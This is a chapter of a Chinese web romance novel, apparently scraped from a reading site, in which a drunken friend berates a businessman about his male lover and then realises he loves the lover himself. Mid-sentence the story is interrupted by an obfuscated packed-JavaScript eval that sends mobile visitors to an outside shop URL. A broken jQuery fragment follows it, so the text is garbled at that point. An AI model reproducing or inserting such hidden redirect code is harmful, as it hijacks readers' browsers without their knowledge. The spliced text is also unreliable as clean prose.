雨哗啦哗啦的响,祁少虞捏着手机,突然大笑起来:“我当然是来看你,他一个傻子,我过来看他作甚?”

    对面的哭泣声好像更加重了,陆定勉说:“那就好。”

    祁少虞分不清自己到底是个什么心情,他就这样站在雨里,听着电话那头的陆定勉在哄沈明聿。沈明聿好像在小声说着些什么,祁少虞听不清。

    因为被人拦住,他只能在院子里来回踱步。走了不知道第多少个圈,祁少虞突然觉得自己想明白了,他只是不甘心老陆为情乱智,像那种人,怎么配得上他们?

    雨水打在脸上有些发痛,又等了不知道多久,陆定勉终于来开了门。

    他什么都没问,只是侧身让祁少虞走了进来。

    祁少虞的身上还在不停往下滴着水,陆定勉随手在沙发上抓了一个毯子丢过去。祁少虞问:“嫂子呢?”

    陆定勉拉开椅子道:“他累了,在上面休息。”

    祁少虞的手不断握紧再松开,也在餐桌前坐了下来。

    桌子上摆着没吃完的早饭,还有剩下的半瓶酒。祁少虞晃了两下,便拿起一个杯子小酌起来。

    “这么好的茅台,你们就水煮蛋喝,还真是浪费。”

    陆定勉没有说话,祁少虞喝了两口,又道:“老季上次还在问,说你不是把那杨太真打入深山了吗,怎么又召了回来。不是我说,老陆,和这种人玩玩可以,但可千万别当唐明皇。”

    “你的正宫太太也绝不能是男人,我知道你为他私下立了合同。但他是男人,还没家世没背景的。终归上不了台面,养在家里玩玩得了。”

    祁少虞喝了酒,也不知是借着酒劲还是什么,直接把肚子里的话全都倒了出来:“你这次车祸不就是这样吗,陆阿姨没了,你家老爷子心里全都是他那个心肝外室。更别说现在你手上还捏着一个祁东街项目,这口肥肉谁不想吃?不如趁早娶一个贤内助帮你,这样你的路也好走一点。”

    讲到这里,陆定勉已经皱起了眉。

    可祁少虞喝了酒越说越带劲:“我说的有问题吗,他能帮你什么。那姓沈的除了有张祸国殃民的脸还有什么?容颜会老,你也不能真和一男的过一辈子,就算我不劝,陆家也不会同意。”

    陆定勉兀的站了起来,他的头发半干不湿,遮住了上半张脸。还没来得及说话,楼上就发出了响声。

    陆定勉回头去看,祁少虞亦抬起了脸。

    昏暗的灯光下,沈明聿裹着睡袍,站在二楼扶手旁边。他的脸上还带着未散的薄红,苍白的手把袍子捏紧了。沈明聿张着嘴,好像想说些什么,却又一句话都没说出来。

    祁少虞能看见他脖颈上的吻痕和胳膊上的青紫淤痕,陆定勉直直冲了上去,祁少虞看着沈明聿倒在他怀里。

    一楼好像突然变得很安静,没一会沈秘就进来把他给带了出去。吹着冷风,祁少虞的酒醒了。陆定勉爱当唐明皇就让他当去,关他什么事?何必因为一个玩意伤了他们从小一起长大的情谊。

    沈秘叫了司机来给他开车,祁少虞坐在后面,身上还裹着陆定勉丢来的毛毯。也不知是不是他的错觉,他觉得这毯子上有属于沈明聿的香气。

    脑袋昏沉的厉害,酒后坐车胃里一阵翻江倒海。他用力张嘴呼吸,用毯子裹住自己。

    世界一下子就变得昏暗了起来,混着外面的雨声,祁少虞感觉自己又看见了一年前的那场大雨。

    那时沈明聿刚刚从医院里出来,又在吴妈的悉心照料下终于不再像个真正的傻子。陆定勉带他来参加不知是哪个八竿子打不着人的葬礼,当时外面的雨也是这么大。

    他拉着陆定勉的手,半躲在陆定勉的身后面。葬礼上的人都在哭,这些祁少虞都听厌了。

    他们这种人哪有这么多真情,与其是在哭老爷子,不如说是在哭没了靠山。老爷子在人脉就在,人死了人脉就断了,谁还认他们?

    更别说他们家还都是一群纨绔子,一个能顶上去的人都没有。

    祁少虞拿着酒杯就要去找老陆聊天,结果一扭头,就看见了沈明聿的泪水。

    他穿着一身丧服,看着那群“孝子贤孙”,眼泪止不住流。

    祁少虞想在心里暗骂傻逼,可看着他那个样子,却是一句话都说不出来。

    他的睫毛湿润了,祁少虞到现在都记得从他眸子里溢出来的泪水。他垂头去抹,指尖也沾上了泪。显得他特别美丽,特别乖巧,特别圣洁。

    陆定勉走了过去,沈明聿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971794|214674||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又毫无防备的把脸靠在了他的肩上面。那双湿润的眼,就和小狗似的。

    祁少虞的嘴痉挛了,他突然明白了自己的心愿。他也明白了自己当初是什么感觉。

    他以为那是厌恶,恶心,憎恨。

    可他错了。

    那也确实是厌恶,恶心,憎恨。可他恨的是老陆,恨他怎么还没死,为什么还不去死?

    这种感觉让他难以忍受,额头全是汗水。他没救了,他居然爱上了一个男人,居然变成了一个恶心的同性恋?

    属于沈明聿的香气仿佛就在鼻尖,祁少虞还是觉得难以置信,他居然爱上了老陆的人?

    祁少虞从后座上摔了下去,脑袋撞到了座椅靠背。可疼痛没有使他清醒,反而让他更加看清了属于嫂夫人的那张脸。

    他望着他,滟滟的笑。

    脸上带着一种复杂的柔情,却仍止不住让祁少虞依恋。他在悟缘大寺求,在长生殿前跪在菩萨面前。他供奉了不知多少盏长明灯,捐了不知多少香火钱。

    他求,他在求,大慈大悲的菩萨,救苦救难的观世音啊。让他属于他吧,让他爱上他吧。

    除了这,再别无他愿。

    可是突然车停了,前面的司机好像掂量了很久,见祁少虞一直躺在地上不动弹,这才小声开口问:“祁公子,已经到您家了,您看您是要回公司还是要先回家?”

    眼前幻境骤然不见,祁少虞把毯子扯了下来,又从地上一把爬起来拉开车门。

    见他出去,司机也慌忙跟上。

    祁少虞走到旁边的绿化带,抱着大树吐了起来。

    浑身都是酒臭味,因为没吃东西,只能吐出一肚子酸水。司机打着电话好像是想叫人,祁少虞低着头,更加恶心了。

    抱着树不知道缓了多久,陆家司机把他的助理给摇了过来。助理看到这个场景也是大吃一惊,连忙就要上前去扶祁少虞。

    祁少虞把头磕在树上说:“给老季打电话,帮我给老季打电话。这事都这么久了,这么还是连个屁都没有?我就没……”

    话还没说完,就抱着树继续吐了起来。助理拿着祁少虞的手机,手忙脚乱就要打电话,可他的电话还没来得及打出去,老季就先打过来了。